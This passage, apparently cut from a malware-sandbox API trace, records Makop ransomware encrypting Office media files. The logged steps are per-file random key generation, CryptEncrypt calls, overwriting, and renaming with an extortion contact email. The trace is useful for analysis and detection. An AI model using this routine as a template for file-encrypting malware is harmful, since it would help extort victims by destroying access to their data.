param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.980] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.981] CloseHandle (hObject=0xf0) returned 1 [0164.981] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616c5e00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x616c5e00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0xdafc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300912.WMF", cAlternateFileName="")) returned 1 [0164.981] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF") returned 61 [0164.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.984] GetProcessHeap () returned 0x48a0000 [0164.984] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.984] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.985] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.989] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.989] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.989] GetProcessHeap () returned 0x48a0000 [0164.989] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.989] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.989] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.989] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.989] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.989] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.990] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.990] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.990] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.990] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.990] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.990] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.990] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdafc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdafc, lpOverlapped=0x0) returned 1 [0164.992] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdb00, dwBufLen=0xdb00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdb00) returned 1 [0164.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.993] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdb00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xdb00, lpOverlapped=0x0) returned 1 [0164.994] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.994] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdbd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.994] SetEndOfFile (hFile=0xf0) returned 1 [0165.001] GetProcessHeap () returned 0x48a0000 [0165.001] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.001] GetProcessHeap () returned 0x48a0000 [0165.001] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.001] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.003] CloseHandle (hObject=0xf0) returned 1 [0165.003] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb340b00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb340b00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301050.WMF", cAlternateFileName="")) returned 1 [0165.003] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF") returned 61 [0165.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.004] GetProcessHeap () returned 0x48a0000 [0165.004] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.004] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.008] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.008] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.008] GetProcessHeap () returned 0x48a0000 [0165.008] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.009] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.009] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.009] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.009] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.009] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.009] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.010] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.010] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.010] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.010] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.010] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.010] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2fd8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2fd8, lpOverlapped=0x0) returned 1 [0165.012] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2fe0, dwBufLen=0x2fe0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2fe0) returned 1 [0165.012] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.012] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2fe0, lpOverlapped=0x0) returned 1 [0165.012] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.012] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x30b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.013] SetEndOfFile (hFile=0xf0) returned 1 [0165.020] GetProcessHeap () returned 0x48a0000 [0165.020] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.020] GetProcessHeap () returned 0x48a0000 [0165.020] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.020] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.022] CloseHandle (hObject=0xf0) returned 1 [0165.041] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf780800, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf780800, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x224e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301076.WMF", cAlternateFileName="")) returned 1 [0165.042] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF") returned 61 [0165.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.043] GetProcessHeap () returned 0x48a0000 [0165.043] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.043] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.044] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0165.051] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.051] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.051] GetProcessHeap () returned 0x48a0000 [0165.051] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.052] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.052] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.052] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.052] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.052] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.052] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.053] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.053] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.053] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.053] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.053] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x224e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x224e, lpOverlapped=0x0) returned 1 [0165.054] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2250, dwBufLen=0x2250 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2250) returned 1 [0165.054] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.055] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2250, lpOverlapped=0x0) returned 1 [0165.055] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.055] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.055] SetEndOfFile (hFile=0xf0) returned 1 [0165.062] GetProcessHeap () returned 0x48a0000 [0165.062] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.063] GetProcessHeap () returned 0x48a0000 [0165.063] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.063] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.065] CloseHandle (hObject=0xf0) returned 1 [0165.065] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91e7c00, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf91e7c00, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x953a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301252.WMF", cAlternateFileName="")) returned 1 [0165.066] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF") returned 61 [0165.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.067] GetProcessHeap () returned 0x48a0000 [0165.067] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.067] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.106] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0165.113] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.113] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.113] GetProcessHeap () returned 0x48a0000 [0165.113] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.113] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.113] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.113] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.114] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.114] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.114] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.114] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.114] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.114] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.115] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.115] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.115] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x953a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x953a, lpOverlapped=0x0) returned 1 [0165.116] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9540, dwBufLen=0x9540 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9540) returned 1 [0165.117] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.117] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9540, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 